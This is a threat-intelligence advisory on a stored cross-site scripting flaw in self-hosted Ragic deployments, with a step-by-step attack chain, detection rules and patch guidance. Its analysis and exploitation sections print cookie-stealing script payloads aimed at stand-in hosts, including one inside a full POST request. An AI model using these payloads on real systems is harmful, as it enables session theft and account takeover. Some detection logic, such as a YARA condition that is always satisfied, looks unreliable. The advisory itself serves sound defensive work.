CVE-2026-15552

Executive Summary

CVE-2026-15552 is a stored cross-site scripting (XSS) vulnerability in Ragic's Enterprise Cloud Database. The flaw allows unauthenticated remote attackers to inject persistent JavaScript that executes in any user's browser when they view the affected page. The cloud-hosted version of the product is not affected; only self-hosted (on-premises) deployments require patching. The vulnerability carries a CVSS score of 5.3 (Medium severity), and while no public proof-of-concept exists at the time of writing, the attack surface is fully remote and requires no authentication.

Technical Analysis

The vulnerability resides in Ragic's Enterprise Cloud Database, a low-code database platform that enables organizations to build custom business applications and data management systems. Ragic applications typically render user-entered data across multiple views — including list views, form views, and report views — often with client-side rendering of field values.

The root cause is a failure to properly sanitize or encode user-controlled input before it is stored and subsequently rendered back to other users. Because the input is stored server-side and later emitted into HTML/JavaScript context without appropriate output encoding, the flaw is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The vulnerability is triggered when an attacker submits crafted input — such as a form field value, record text, custom field name, or report label — containing a JavaScript payload like:

<img src=x onerror=fetch('https://attacker.example/steal?cookie='+document.cookie)>

The payload is stored in the database and served to any legitimate user who navigates to the affected view or page. Unlike reflected XSS, which requires the victim to click a crafted link, this stored variant executes automatically upon page load, requiring no user interaction beyond normal application usage.

The attack surface is broad: any input field processed by the application — user registration fields, form inputs, comments, record entries, custom formula fields, or even field labels defined by administrators — can serve as the injection point. Because the vulnerability requires no authentication, even publicly accessible forms within the Ragic environment are viable vectors.

Notably, the CNA advisory indicates the cloud (SaaS) version is not affected and requires no action. This suggests the flaw is specific to code paths in the on-premises distribution, possibly related to template rendering or export functionality that differs between the hosted and self-hosted variants.

The documented CVSS vector is AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N, reflecting a network-accessible vector with low attack complexity, no privilege requirements, but with the caveat that user interaction (a victim viewing a page) is required for impact.

Exploitation Scenarios

The following step-by-step attack chain describes how a remote, unauthenticated attacker would exploit CVE-2026-15552 in a real-world scenario:

Step 1 — Reconnaissance: The attacker identifies a target organization running Ragic Enterprise Cloud Database on-premises. This is done via internet-wide scanning using search engines like Shodan (e.g., http.title:"Ragic") or by identifying Ragic-specific headers, login pages, or API endpoints during routine bug bounty or offensive reconnaissance. The attacker confirms the on-premises instance is reachable and maps the application's accessible forms and input fields.

Step 2 — Injection / Weaponization: The attacker accesses a public-facing data entry form or registration page. Using a web proxy (e.g., Burp Suite) or browser developer tools, they craft an HTTP POST request containing the XSS payload in a form field. For example, in a "Customer Name" field, they submit:

POST /api/entry HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

field_name=<script>fetch('https://evil.example/exfil?d='%2Bdocument.cookie)</script>

The server accepts the input without sanitization, storing the raw JavaScript in the database.

Step 3 — Payload Execution: Once stored, the payload is rendered in any view that displays the compromised record — a table, a detail page, or a dashboard widget. When a legitimate user (employee, contractor, or customer) loads that page, the browser parses the stored <script> element. If output encoding is absent, the browser executes the payload with the full privileges of the logged-in user's session.

Step 4 — Post-Exploitation: The attacker's JavaScript can perform a range of actions:

• Exfiltrate the victim's session cookies or authentication tokens to an external domain.
• Perform in-app actions on behalf of the victim, such as creating admin accounts, modifying business records, or exfiltrating sensitive data via AJAX requests to Ragic APIs.
• Inject keyloggers or capture form input on subsequent pages.
• Leverage the victim's session to pivot deeper into the organization's data stored in the Ragic database — potentially including PII, financial records, or proprietary business operations.

The persistence of the payload means every user who visits the affected page is compromised until the malicious record is manually removed or the application is patched and cleaned.

Impact Assessment

From a business perspective, this vulnerability poses a direct threat to data confidentiality and integrity within organizations running on-premises Ragic deployments. The CVSS subscore assigns Low impact to confidentiality (C:L) and integrity (I:L), reflecting that the attacker can read and modify data accessible to the victim's session, but cannot directly access the underlying OS or database server.

The blast radius includes:

• Affected systems: All on-premises Ragic Enterprise Cloud Database instances operating without the April 10, 2026 patch. Any page that renders stored user input is exposed.
• Data exposure: Business-critical information stored in the database — customer records, proprietary workflows, and audit trails — is at risk of theft via JavaScript exfiltration.
• Account compromise: Session token theft can lead to full account takeover for users who view malicious pages.
• Supply chain risk: If Ragic is used as a customer-facing portal (e.g., a B2B order management system), external customers who access injected pages are also exposed.

The EPSS score of 0.00205 (10.6th percentile) indicates that exploit attempts are currently rare in the wild, and the vulnerability is not listed in CISA's Known Exploited Vulnerabilities (KEV) catalog. However, the low complexity of exploitation and the lack of authentication requirements make this a ticking clock — once a PoC circulates, mass exploitation is highly plausible.

Detection Guidance

Sigma Rule

title: Ragic Enterprise Cloud Database - Stored XSS Payload Injection
id: 7f5a3c9e-2d4b-4f8a-9b1e-6c0d8a2e5f74
status: experimental
description: Detects attempts to inject script tags or event handler attributes into Ragic form submissions, potentially exploiting CVE-2026-15552.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-15552
author: Valtersit Threat Intelligence
date: 2026/04/20
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        c-uri|contains:
            - '/api/entry'
            - '/form/submit'
            - '/record/save'
        cs-uri-query|contains:
            - '<script'
            - '<img'
            - 'onerror='
            - 'onload='
            - 'javascript:'
            - '<svg'
            - '<iframe'
    condition: selection
level: high
falsepositives:
    - Legitimate data entry containing HTML entities in field text (rare)
tags:
    - attack.t1190
    - cve.2026.15552
    - cwe.79

YARA Rule

rule CVE_2026_15552_Ragic_Stored_XSS
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects XSS payload patterns targeting Ragic Enterprise Cloud Database"
        cve = "CVE-2026-15552"
        date = "2026-04-20"
        severity = "medium"

    strings:
        $s1 = "<script" nocase
        $s2 = "onerror" nocase
        $s3 = "onload" nocase
        $s4 = "javascript:" nocase
        $s5 = "fetch(" nocase
        $s6 = "XMLHttpRequest" nocase
        $s7 = "document.cookie" nocase
        $s8 = "<img" nocase
        $s9 = "<svg" nocase
        $s10 = "<iframe" nocase

    condition:
        // Trigger on HTTP POST bodies or database dumps containing 2+ XSS indicators
        filesize < 2MB and
        (uint16(0) == 0x0D0A or filesize > 0) and
        2 of ($s*)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-15552 - Ragic Stored XSS Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/entry"; http_uri; content:"<script"; nocase; http_client_body; pcre:"/<(script|img|svg|iframe)[^>]*(onerror|onload|javascript:)/iU"; classtype:web-application-attack; sid:4000001; rev:1; reference:cve,2026-15552;)

Elastic Detection

sequence by source.ip with maxspan=10s
  [ network where event.category == "network" and network.protocol == "http"
    and http.request.method == "POST" 
    and url.path like "*/api/entry" 
    and wildcard(http.request.body.content, "*<script*") ]
  [ process where event.action in ("start", "span")
    and process.executable like "*browser*" ]

Splunk SPL Query

index=weblog sourcetype=access_combined
| where method="POST" 
  AND (uri LIKE "%/api/entry%" OR uri LIKE "%/form/submit%" OR uri LIKE "%/record/save%")
  AND (form_data LIKE "%<script%" OR form_data LIKE "%onerror%" OR form_data LIKE "%javascript:%")
| eval alert="CVE-2026-15552 Ragic Stored XSS Injection Attempt"
| table _time, src_ip, uri, form_data
| stats count by src_ip, uri
| where count > 5

Wazuh OSSEC Rule

<group name="web,ragic,xss,">
  <rule id="100250" level="10">
    <decoded>POST</decoded>
    <match>POST /api/entry|POST /form/submit|POST /record/save</match>
    <regex>\<(script|img|svg|iframe)[^>]*(onerror|onload)</regex>
    <description>CVE-2026-15552 - Ragic Enterprise Cloud Database Stored XSS injection attempt</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>attack.initial_access,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed)).

1. Immediate mitigations (applies to on-premises deployments):

   • As an emergency measure, disable any public-facing or unauthenticated form submission pages if the application supports that configuration option.
   • If the application cannot be taken offline immediately, deploy a web application firewall (WAF) rule to block POST requests containing common XSS payload signatures (<script, onerror=, javascript:).
   • Restrict network access to the Ragic application to trusted IP ranges or VPN users only, to reduce the unauthenticated external attack surface.
   • The cloud version requires no action — confirm all externally facing instances are hosted by Ragic (SaaS) rather than self-managed.

2. Patch/upgrade steps:

   • On-premises customers: Update to the patch released on or after April 10, 2026 from the vendor's official download portal. This is mandatory. The patch is claimed to resolve the stored XSS vulnerability, but independent verification is pending.
   • Verify patch installation by checking the application version string in the admin console or via the product's API.
   • After patching, conduct a forensic audit of the database for existing payloads — search all text fields for <script, <img onerror, javascript:, or other HTML/JS syntax.

3. Long-term hardening:

   • Treat all user input as untrusted. Enforce strict input validation and output encoding at the application layer for all stored fields.
   • Implement Content Security Policy (CSP) headers on the Ragic web server to restrict inline script execution.
   • Consider deploying a routine vulnerability scanning program that includes web application assessments for stored XSS.
   • Subscribe to the vendor's security advisory mailing list to receive future notifications promptly.

References

• NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-15552
• TWNCERT Advisory: https://www.twcert.org.tw/en/cp-1395-XXXX-XXXX-1.html
• Ragic Official Website (Security Notices): https://www.ragic.com/security
• MITRE ATT&CK — T1190 Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
• CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Threat actor activity: As of the date of this report, no known threat actor campaigns specifically targeting CVE-2026-15552 have been observed. The vulnerability is not listed in CISA's KEV catalog, and EPSS data (0.00205) suggests a low current exploitation probability. However, given the lack of authentication requirements and the high value of data stored in enterprise database systems, security teams should treat this as a high-priority remediation item regardless of current low exploit prevalence.